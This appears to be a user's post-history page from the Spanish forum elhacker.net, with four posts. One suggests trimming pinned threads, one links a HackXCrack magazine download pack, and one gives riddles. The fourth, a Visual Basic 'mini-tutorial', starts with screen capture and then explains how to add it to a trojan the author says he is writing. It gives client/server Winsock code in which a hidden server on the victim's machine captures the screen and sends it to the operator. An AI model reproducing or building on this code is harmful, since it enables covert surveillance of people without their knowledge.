elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Temas
Páginas: [1]
1  Foros Generales / Sugerencias y dudas sobre el Foro / Exceso de chinchetas en H. Avanzado en: 23 Septiembre 2007, 15:35 pm
Buenas, probablemente alguien ya haya sugerido esto, pero lo considero bastante importante. Esta claro que el subforo de Hacking Avanzado tiene *demasiadas* chinchetas, por lo que dificulta un poco la navegacion y deja poco espacio para los nuevos posts. Propongo que se haga una remodelacion de las mismas: bien sea juntando varias de ellas en una sola (como se hizo en Programacion C/C++), bien eliminando algunas de las que ya esten obsoletas/poco importantes (o ambas opciones, claro). Creo que seria una buena medida que aportaria claridad y organizacion a ese caos sistematico.

Saludos
2  Seguridad Informática / Hacking Ético / [HackXCrackPack] Revistas + Foro + Programas + Practicas + Charlas TCP-IP en: 17 Enero 2007, 22:55 pm
·· HackXCrackPack ··

Saludetes! ;D Bueno aqui les dejo una recopilacion que he hecho de todo lo que he encontrado en el eMule y demas sobre este excelente Team que es HxC, en descarga directa (agradecimientos a lipman_dj que las revistas las baje de su link; y a OzX que baje los como's de su recopilatorio de portalhacker ^^). Estan todas completas y en pdf (la 6 tambien xD); los programas citados en los articulos, tambien incluidos (que muxa gente pregunta por ejemplo de donde bajar el ServU 2.5, pos ahi esta); el foro completo de HxC, con el instalador hecho por Vic_Thor; las practicas sobre seguridad informatica realizadas en el foro, en formato pdf (son 45); y el taller sobre TCP/IP completo, en pdf of course xD. Por si las moscas tambien he incluido una ayuda para la gente que no les rula el foro por el problema del gzinflate(), es un link en el que Vic_Thor explica como arreglar el problema.


DESCARGAR PACK COMPLETO: >>> http://www.megaupload.com/?d=1DT4DMB3 <<< (483 mb)

Bueno solo espero que les guste y que haya sido de ayuda para alguien :D Saludos a toda la comunidad! 



EDITADO: Bueno como se que muchos de vosotros teneis algunas partes de este pack, por ejemplo las revistas, etc. y tal vez solo os interesan algunas partes del pack, pues lo he vuelto a subir todo por separado, para que asi tengais opcion de bajarlo todo junto o por partes, como kerais ;D Ahi va:



* Esto ultimo olvide incluirlo en el pack, bajaroslo aparte de ahi que son solo 800 kb ;D



De nuevo saludos a todos y a disfrutarlo! ;)
3  Programación / Programación Visual Basic / MiniTuto: Capturar pantalla en VB en: 21 Septiembre 2006, 20:06 pm
Hola a todos.

Pues al fin me he animado a escribir mi primer minitutorial y colaborar un poquito con este magnifico foro  :). El codigo no es mio sino que lo saque de la MSDN, y lo implemente en un programita sencillo para poder explicar como funciona. Ademas al final del tuto explicare como hacerlo remotamente, ya que todo esto surgio debido a un troyanito que estoy programando y keria ponerle funcion de capturar pantalla, y claro si no es de forma remota pues de poco sirve :P.

El funcionamiento es simple: realiza la misma funcion que si pulsaramos la tecla ImprPant, y mete la captura de pantalla en el portapapeles. Despues para obtener la captura solo tenemos que pegar en cualkier editor grafico (el mismo paint sirve) y eso, lo de siempre.

Bueno menos charla y mas codigo, aki va  :P.

Código:
Option Explicit
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal _
   bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Private Declare Function GetVersionExA Lib "kernel32" _
      (lpVersionInformation As OSVERSIONINFO) As Integer

Private Type OSVERSIONINFO
    dwOSVersionInfoSize As Long
    dwMajorVersion As Long
    dwMinorVersion As Long
    dwBuildNumber As Long
    dwPlatformId As Long
    szCSDVersion As String * 128
End Type

Private Const VK_SNAPSHOT = &H2C

Dim blnAboveVer4 As Boolean

Ok explico un poco: Esta es la primera parte, va en la parte de Declaraciones del General. Empieza con Option Explicit, ya saben para requerir la declaracion de todas las variables. Despues declaramos dos API's, la primera detecta (o crea, en este caso) los eventos del teclado (keybd_event); y la segunda obtiene el sistema operativo que estamos utilizando (GetVersionExA) para asegurarse de que es compatible con la funcion que queremos utilizar; y poco mas, algunos parametros que son necesarios para esto ultimo, una costante, una variable y c'est fini xD no tiene mucha ciencia esta parte. Ok, prosigamos.

Código:
Private Sub Form_Load()
Dim osinfo As OSVERSIONINFO
    Dim retvalue As Integer
   
    osinfo.dwOSVersionInfoSize = 148
    osinfo.szCSDVersion = Space$(128)
    retvalue = GetVersionExA(osinfo)
    If osinfo.dwMajorVersion > 4 Then blnAboveVer4 = True

End Sub

Bien, esto va en el Form. Se encarga de lo que ya habiamos comentado, obtiene el sistema operativo que utilizamos y comprueba que es compatible (If osinfo.dwMajorVersion > 4 Then blnAboveVer4 = True
). Simplemente comprueba que el parametro devuelto dwMajorVersion sea mayor a 4 (Cada OS tiene su valor, creo q 4 era para los Win9x, y despues las diferencias menores corren a cargo de dwMinorVersion, para mas info google). Solo es eso, para lo que pretendemos no es necesario comprender que hace exactamente cada linea de este code. Seguimos entonces; ponemos un CommandButton, que es lo unico que necesitaremos aqui, y ponemos este codigo en el evento Click():

Código:
Private Sub Command1_Click()
    If blnAboveVer4 Then
        keybd_event VK_SNAPSHOT, 0, 0, 0
    Else
        keybd_event VK_SNAPSHOT, 1, 0, 0
    End If
End Sub

Esto es lo realmente interesante, aqui se emula la pulsacion de la tecla ImprPant y se copia al Clipboard la imagen obtenida.

Pues that's all folks! Ahora ya solo keda compilar y ejecutar nuestro sencillo programa, pulsamos el boton y efectivamente comprobamos: vamos al paint, pegar y voila, captura  :)



Y ahora diran 'Pues que tonteria mas grande, no seria mas util hacerlo de forma remota?'. Si, claro que lo es :P Explicare un poco como funciona, el resto se lo dejo a ustedes para que investiguen  ;)

Veamos, para hacer esto de forma remota primero debemos crear una aplicacion cliente/servidor, como cualquier troyano; para estos menesteres usaremos Winsock. Pueden hacerlo de conexion directa o inversa, es lo de menos. En la aplicacion cliente podemos poner un CommandButton para conectar (o poner un puerto a la escucha, repito depende de como establezcamos el modo de conexion) y un label para, por ejemplo, ver el estado de la conexion (Desconectado, escuchando, conectado,...). Hacer esto no es nada dificil, hay muchos ejemplos en el foro. Tambien pondremos otro CommandButton para, cuando estemos conectados, mandemos la orden de capturar la pantalla al server (En mi caso usare ws.SendData = "scrncap", ya veran el porque). Y poco mas por aqui, lo unico a tener en cuenta es poner en el evento DataArrival del Winsock (es decir, lo que recibamos del server, que en este caso es la captura propiamente dicha) este code:

Código:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos as String, scrn as Variant, scrn1 as Variant
ws.GetData datos
If Left(datos, 7) = "scrncap" Then
    scrn = Split(datos, "|")
    scrn1 = scrn(1)
    Clipboard.Clear
    Clipboard.SetData (scrn1)
End If
End Sub

Enseguida entenderan el porque de este code, vamonos con el server. En el server debemos declarar las API's y el codigo que vimos antes, exactamente igual, solo que deberemos añadir un par de cosas. Pondremos un Picture y un Command aki, pero como no sera visible para la victima llamaremos a su evento Click con un Call, cuando sea necesario claro. Configuramos lo necesario para crear una conexion con el cliente, en el evento DataArrival ponemos:

Código:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos

If datos = "scrncap" Then
Call Command1_Click
End If
End Sub

Asi, cuando le dabamos a nuestro Command en el cliente, este manda la cadena "scrncap", y este codigo, al detectar esta cadena llama al evento Command1_Click(), en el que pondremos el mismo code que en local mas unas cuentas cosas:

Código:
Private Sub Command1_Click()
If blnAboveVer4 Then
        keybd_event VK_SNAPSHOT, 0, 0, 0
    Else
        keybd_event VK_SNAPSHOT, 1, 0, 0
    End If
Picture1.Picture = Clipboard.GetData
ws.SendData "scrncap" & "|" & Picture1.Picture
End Sub

Ahi lo que hacemos es coger el contenido del portapapeles, en el que esta la captura, y lo copiamos al Picture que tenemos en el server. Y despues enviamos la cadena "scrncap" de nuevo, para indicar al cliente que estamos mandando la captura; el simbolo "|" y la captura en si misma. Ahora se comprende el codigo del evento DataArrival del cliente, lo pongo de nuevo:

Código:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos as String, scrn as Variant, scrn1 as Variant
ws.GetData datos
If Left(datos, 7) = "scrncap" Then
    scrn = Split(datos, "|")
    scrn1 = scrn(1)
    Clipboard.Clear
    Clipboard.SetData (scrn1)
End If
End Sub

Detecta que los 7 primeros caracteres que recibe corresponden a "scrncap", despues con el comando Split colocamos en la variable scrn (convertida en matriz) las partes separadas con el simbolo "|", y a continuacion metemos en scrn1 lo correspondiente al segundo dato de la matriz scrn (recuerden que la primera parte es la cadena "scrncap", y que las matrices empiezan con (0)  ;D). Ahora limpiamos lo que tengamos en el portapapeles y metemos la captura que hemos obtenido con la sentencia 'Clipboard.SetData (scrn1)'. Y ya esta, vamos al paint, pegamos y si lo hemos hacho bien deberia salirnos la captura remota  :)

Hasta aqui este "minitutorial" :P Espero sus opiniones y criticas, y sobre todo que les haya servido de algo ^^

Saludos!
4  Seguridad Informática / Desafíos - Wargames / Pa pasar el rato... en: 20 Agosto 2005, 19:40 pm
wenas  ;D este es mi primer post x aki, aunke ya era usuario frecuente d elhacker.net dsd hace tiempo. pa ir calentando pondre un par d acertijos no demasiado dificiles, podeis responder x dnd kerais. alla van...

1.- Un capitan fue rodeado en el Caribe por un grupo de tiburones, muchos de los cuales eran ciegos. Tres no veian en absoluto a estribor, tres no veian nada a babor, tres podian ver a estribor, tres a babor, tres podian ver tanto a estribor cmo a babor, mientras q otros tres tenian ambos ojos inservibles. ¿Cual es el minimo numero de tiburones para q se den todas estas circunstancias?
--------------------------------------------------------------------------
2.- El rey Fernando el catolico murio 38 años mas tarde de que naciese el rey Felipe el hermoso. Si la suma de sus edades al morir Fernando era de 92 años y Felipe murio en el año 1506, ¿en q año nacio el rey catolico?
--------------------------------------------------------------------------
3.- ¿Cual de estas 6 figuras no puede hacerse sin levantar el lapiz ni pasar dos veces por el mismo trazo?


--------------------------------------------------------------------------
4.- ¿Cuantos rectangulos hay en esta figura?


--------------------------------------------------------------------------

hala, wena suerte!  ;)
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines